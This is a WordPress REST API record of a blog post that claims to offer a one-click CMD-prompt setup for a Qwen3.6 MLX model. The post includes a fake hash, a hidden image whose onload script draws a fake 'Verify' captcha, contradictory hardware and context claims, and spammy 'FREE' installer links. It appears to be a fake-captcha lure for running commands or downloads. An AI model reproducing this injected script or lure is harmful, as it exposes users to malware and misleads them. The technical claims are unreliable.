FcSKuTOEA5HQarg0yiOxWQLDmIMvS7cTkrE5RWPA639Yv5+BF7U5LTNOMCGqhV9yRw\/h8WSyXEnvZzr4CQfO1SrPXMBZmv0B5ARnzNsyhQzbASUsjcbiPrpAkQQWlbL3aOEUJrbB42TudVEwURQBr071\/Olxkk7abkxtadDXyRAS5sprTJhZk\/S5Ic8c+xop7DxfeVcIUIAAGZbcQRFqIS+nX+wKBUYmkBFkuCg0CtV50TWqvb4fqn4NtUnv7Ux0iSXzzstm\/fQBjj7TCJDHBYo1RXuJUKEvRsd9m\/2tkVqXirxS\/zxBKVD+xWRUjuvkA5c0RsH2Ip1YMYPxCS9Q4A3PrW1HsE+FEvvrzcGBSJWh13cTin5jE+Upi1JEU0Edmf4eqN3twHse3t1mZ9lkRwbMMXHUgtzQNarhSd8KG5zO8cg7X\/OiK5Adq\/YG28prWBKFMxi8kC96eSAsXWZOz\/fAVq64eN5O4JjYNS6X0kFewV0KYhT0VOMo1BHlCCqXKOCpRNCO9m2HlJAeE\/4j2vSZ5Yt2R8Q9c06YBuZ9nrOvaPtUUeIrOEz\/a5OX8BmO\/VrySdtfAr1a35VD4lk\/KC8XJ6B42JyS4op6b8lo7fM0Ji2ZcDFAwQ4CzlZ4n30EzHxs3CfoCnKe6YQOo3KQG1Fx5ROgakphR1mOuaSww9IWX68m5ELlRH\/TNi\/Zd\/48VQ3QWlmLN\/AbUTizvn3yjZNEiwA8QhE2lyktEGzKiywZrycLtUruCGMePKLwDUJ33HYeKKncqLHrqYUN50pdnZqzBcNAgfFwGd2t8\/YeZTJnpGrDrgvzGQcXWojagQU\/HRPnRE35I8NgAtIBbH44Y2z4GzfmkLR0Mi5M6flGRnoj\/8TCL7Pi0RoqKXLab1\/38S5ANISdiitbiKvbUj\/qghgp5xLEHw7tWm9U3lgHRoFAQZaxRAvIXwwOko0ok8roUXeFnuOuBBCnigAAAG4AAABM4ATtnP2A7ctI4h2UIDichV7j0qRLoHs06I9WTERdgbEDnK1LNE400eXhWxDs9xWP5lCWsHPm5NoE5cNNHfMmpEV0MXZ0rEh+diPLMcji25zZzulRF8DlX1ZgN56BDPm9DAZNZkGhj1ekDdCyi6SftW4ouDFZMNgWCop8EffM32r7OQlNvWwsxZ\/vJ6J+uuF47an6hYhNcQgpJL3K2\/a5qwkkiEBGb0vowMWhyjssOAe7gpInKDmA6VqDn\/vXx+9OqDQi7UHlsT9Uu+xWRvHZLVDsb7E0eeR6zPxP6iG5gyJPeKf2Aw7Big9pYU92VAztBvzrxRDRo89JhwBJ\/sg7r7uTEk3NE9\/K9AS9v4j0YLSB1qtMDIcsn2HL1aWGYzaUlsmNmpsWOjmOHroXEPNSR8xjpW5igC4LlUpCDSpzQtjWAn3RolC94aTZ25NQKo+A8C73KgQOPFsG23oYek\/Db0\/WAMzpxPbZGDTCDcHFkgES4R5E9uOWFc4WeZIRED4n06lyY4CEHkdSOTTffh7KLvdRfq0x8am5XvY2StycOfDZ9oT8wvZltEiTuhUSmr2oobAe8W+KbzoiKVgObOFdguynY0MGquSMT8ngdYAZudys2SjgQl5lfLCQO04qkCLTjPzqDYF8HD06Tf+1m4veE9\/cUtqmtCBn2dceZWcEkefOcC3lfGu80eVl0feHbz5mRBFVsHNPKu9wWpSv85sjS5\/XS6q8b6gn\/K9+LH2beH8fAS\/BoYBSaHKE0KshrTUr5iQHqOkCPAUtA0r7\/AtfHiIwepscI9ycvlZKc8Z2bALSmWauCku2+yAcm\/1sbBcXgYyHMPzm+ku4xOoet5od8Qnn8zY2gGdbYSgz7uyjOgAvuFgEAeb\/jJGV9VbxKLYTStByjr+CqlYckkzswl9a8RIVai4m1Fq41MCln5am4\/abL6QNPdmR6Q\/yqCQt7HM8hpITOg8RqaZDXM2qqhs4I6GqALdp1+K0bdh\/02flXZWIwzFcIYc9LCaUGNrOE4MwZ1MYo9Je01d6WMKRiW1XknI+uMhux2T\/hfjwWUx8nzShJI2+6DGT2h4d03ILEyUMGfr5MZ7XH21giL2d713NR4XYUPPldHaXsyM376lceMjFiLqXheyWuGIEtFbuhAyvqVtNPtbTIKBPuwO8gbaVFyEkEUtnEWyjVVKIlPFTlFDdfw8RncK2sGMXU51cyiXWsF+bxmMNOiKH63gYE+9BdVBqnHQWdEtpTAm3+h5Xaug+5pjsEvV45Olwmj25HUfo9XPpT4uizV0aEKxcIGoRE\/BM1HEV61kFXEXnv1EYd17roRd+YCelP0IXhys9GZGXFfChLbL1HMT0RLV\/agqb40frUlkImQ9EOgr9fMYMejgYIkXUg\/3a39y5EvNxygEnRh+BGIAZtoYtq1gZsknVplfHGBeE5V+hDj6k73XA+pvZGnuJZ6AKrC\/kGkprAKrNg53oNSLKdTH+qouVjqViwKfU\/amaan0plBa63yERKWeNpHk9OwLcu7SNQUrTxDduhKMzFD+z+UdxL7U6vcKVqOr4DsPAhWZ6Am4OYlLUniVJ7r9QmvlZ7Byl5u9Rwn\/SI+5b2tw\/iH6GC0qiomFLjTQLWTncbUwKl47bgHTjgGLYNl8ICoNYmBH2zw2Mo+FqjJu0hio4qKKv73sPt0w79zyCcZuqt6L0Ph5kCXTMZ3MJoXTh7G0i38\/Uw2UgpRckzvdcUG97ViqabhuJaXIAByL2EB3inMOxrwa2XnMPvYMIK4zAF0+QhI77pw+8tMB4GcPHTRi1U2RHwseck5j81NYXL\/7imGAe+kq5reAwVODWhqj8IDpvS5Sn8cSmv7m9Y2RIXySAfX\/aUKUsMskqBqPxpCMQAwaG7xwPx1CiocDOGbfk\/tqLFhx\/hgKyHDF84YqG5hgG6oOST+Wcm4Y2TDMYMX4sWx91PGBuxiO4uO6dZgWfynRpbScFdMjIBPmd0RYhHgSw8VERKJp4naZU0K9FK3Q97LGgdBYq3DAmZvzu39NuOjfH+5gMrgL4+zHytvGT+GQILZkvkIcWSzK9r2Ao6owJFRTdfo\/e7BKRdZ4\/F1jCXZnxtIjEqGYhuEnMgk+YNLRyCqrwv9\/uZINMR\/eklP2CxlZkmBfI8kg2+pNDBGn6Y6AFMBwcBqFzbbY2OzPkzbEUE+YNsnuVwbgW2MbpI4j86dcW9+t5kewoUIV1lEgwF7y53tVnPYJVgbOWX+ogIObTCGBJFQ2+XYFQnD6CceeeonS5EUnGQ2ZDxy6esHBww5luZP7n7o0+NuWKX\/csj8uH2MRnYD\/GygSzu87CbQgXEFQzbVZrbYZ6pM38Ks\/Z1f8H23TOWSDa27X\/D7VHMKQysFNm1GtyZ9Qz4Q2zkWO4uMS2j4ZWGV56WocC5YB1CCGzg1ZIN2ACDsPiUvMJOlePQsNeQevOgUHB66q\/tJq0XDSmmsIwN+81lV1WK7YnCn6asdFDL1AdzzDktgfYolzdncr1z3mdqq8T9+nfasd96piPm2lorkrlJE+g4kwCXFO3JFDQ5T6GkOAu1X7vl4rzNAfhdmoQLS\/P9FhFmJViBQBQqVziPplnDMNWgteNRUyex6OAO9s7Cybipb3o2w\/QSq+PCZieSUOvTWHgEO4idYeFwX1lUJY0RuqAVKa3S9W9XsFquYkitsWPmK9xrwR2hSoBpZCPwgWSR4\/pnMsW6XP2xzc5ZqjpMZAZMcZm20\/IuaUWGZmlIcmq+pndoNw1CX2Kz7qYmSX+XpvtAOMY9483uBPdXPoLsOvULyfEkXmXRyG09KaoxJXBkbFZMOMx6P1rBotegD6vJjPX5dISn2Neqg2d8mDEUxy7Rw0f15KHpq8IVQV2aRhAUpurlpaKO0B8p4qgnTdgJBw8\/6ekOhjMSZ5Kh5\/iXyFLki8Y4pdr\/gAAAA\" alt=\"Full Deployment Qwen3.6-35B-A3B-MLX-8bit Using Pinokio\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>Setting up this model locally is <i>incredibly fast<\/i> if you use the native <b>CMD prompt<\/b>.<\/p>\n<p>Follow the <i>straightforward<\/i> <b>walkthrough<\/b> provided below.<\/p>\n<p> <\/p>\n<p><i>The script takes care of fetching the multi-gigabyte model weights.<\/i><\/p>\n<p> <\/p>\n<p>The setup file includes a feature that <b>instantly optimizes all configurations<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:20px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#fdfdfd;box-shadow:0 15px 32px rgba(0,0,0,0.08);border:1px solid #f1f5f9;\">\n<tr>\n<td style=\"padding:44px 54px;text-align:center;font-size:23px;color:#1e293b;line-height:2.6;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#4A4A4A;font-family:'Roboto Mono';\">\ud83e\udde9 Hash sum \u2192 f5ef5edad120e78c77ab951c31fe2d48 \u2014 <span style=\"text-decoration:underline;\">Update date:<\/span> 2026-07-11<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:23px;padding-left:20px;margin-left:0;\">\n<li><b>CPU:<\/b> modern architecture (<b>Zen 3 \/ Alder Lake<\/b> minimum)<\/li>\n<li><b>RAM:<\/b> 48 GB needed to <b>prevent memory swapping<\/b> to disk<\/li>\n<li><strong>Storage:<\/strong><b>100 GB<\/b> free space for HuggingFace cache folder<\/li>\n<li><b>Graphics:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Unveiling the Qwen3.6-35B-A3B-MLX-8bit Model: A Benchmark in NLP Performance<\/h4>\n<p>The Qwen3.6-35B-A3B-MLX-8bit model stands as a testament to modern advancements in natural language processing (NLP). By harnessing the power of 8-bit quantization, this cutting-edge architecture achieves unparalleled performance without compromising on compactness. With an impressive 35 billion parameters, it not only rivals existing models but also paves the way for novel applications in real-time production environments. The MLX framework&#8217;s emphasis on enhanced hardware compatibility and reduced memory usage further solidifies its position as a reliable choice for both researchers and industry professionals alike. Furthermore, the model&#8217;s inference latency is notably low, allowing users to expect consistent results across diverse benchmarks. As such, this model represents a significant milestone in the pursuit of achieving state-of-the-art performance in NLP tasks.<\/p>\n<h4>Technical Specifications: A Closer Look<\/h4>\n<h3>Comparison with Earlier Versions<\/h3>\n<p>\u2022 <\/p>\n<ul>\n<li><strong>Increased Parameters:<\/strong> The Qwen3.6-35B-A3B-MLX-8bit model boasts a staggering 35 billion parameters, significantly surpassing the capabilities of its predecessors.<\/li>\n<li><strong>Quantization Efficiency:<\/strong> By employing 8-bit quantization, this model achieves enhanced performance without compromising on efficiency.<\/li>\n<li><strong>Improved Hardware Compatibility:<\/strong> The MLX framework ensures seamless integration with various hardware configurations, making it an attractive option for developers and researchers alike.<\/li>\n<\/ul>\n<h4>Benchmark Results: A Reliable Choice<\/h4>\n<table>\n<tr>\n<th>Feature<\/th>\n<th>Description<\/th>\n<\/tr>\n<tr>\n<td>Model Name<\/td>\n<td>The Qwen3.6-35B-A3B-MLX-8bit model<\/td>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>35 billion parameters<\/td>\n<\/tr>\n<tr>\n<td>Quantization<\/td>\n<td>8-bit quantization<\/td>\n<\/tr>\n<tr>\n<td>Framework<\/td>\n<td>MLX framework<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<\/table>\n<h4>A Reliable Choice for NLP Enthusiasts and Researchers<\/h4>\n<p>\u2022 <\/p>\n<ul>\n<li><strong>Consistent Results:<\/strong> The Qwen3.6-35B-A3B-MLX-8bit model delivers consistent results across diverse benchmarks, making it an attractive option for both research and commercial deployment.<\/li>\n<li><strong>Real-Time Applications:<\/strong> Its low inference latency enables real-time applications in production environments, further solidifying its position as a reliable choice.<\/li>\n<\/ul>\n<h3>Conclusion: A New Benchmark in NLP Performance<\/h3>\n<p>The Qwen3.6-35B-A3B-MLX-8bit model has set a new benchmark in NLP performance, offering unparalleled capabilities without compromising on compactness or efficiency. Its technical specifications and consistent results make it an attractive choice for both researchers and industry professionals alike, cementing its position as a reliable solution for real-time applications.<\/p>\n<ul>\n<li>Setup tool refining CPU thread binding boundaries for maximized llama.cpp processing output curves<\/li>\n<li>Launch Qwen3.6-35B-A3B-MLX-8bit on Copilot+ PC One-Click Setup Local Guide FREE<\/li>\n<li>Script fetching custom model merges directly into specific KoboldAI directory asset locations<\/li>\n<li>Full Deployment Qwen3.6-35B-A3B-MLX-8bit 100% Private PC No-Internet Version FREE<\/li>\n<li>Installer configuring localized guardrail classification models for input-output filtering layers<\/li>\n<li>Qwen3.6-35B-A3B-MLX-8bit Locally (No Cloud) No-Code Guide<\/li>\n<li>Setup utility enabling DirectML processing pathways for modern Arc graphics cards<\/li>\n<li>How to Run Qwen3.6-35B-A3B-MLX-8bit with 1M Context 2026\/2027 Tutorial FREE<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Setting up this model locally is incredibly fast if you use the native CMD prompt. Follow the straightforward walkthrough provided<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[121],"tags":[],"class_list":["post-29752","post","type-post","status-publish","format-standard","hentry","category-functions"],"_links":{"self":[{"href":"https:\/\/amirzia.pk\/index.php?rest_route=\/wp\/v2\/posts\/29752","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/amirzia.pk\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/amirzia.pk\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/amirzia.pk\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/amirzia.pk\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29752"}],"version-history":[{"count":1,"href":"https:\/\/amirzia.pk\/index.php?rest_route=\/wp\/v2\/posts\/29752\/revisions"}],"predecessor-version":[{"id":29753,"href":"https:\/\/amirzia.pk\/index.php?rest_route=\/wp\/v2\/posts\/29752\/revisions\/29753"}],"wp:attachment":[{"href":"https:\/\/amirzia.pk\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29752"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/amirzia.pk\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29752"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/amirzia.pk\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29752"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}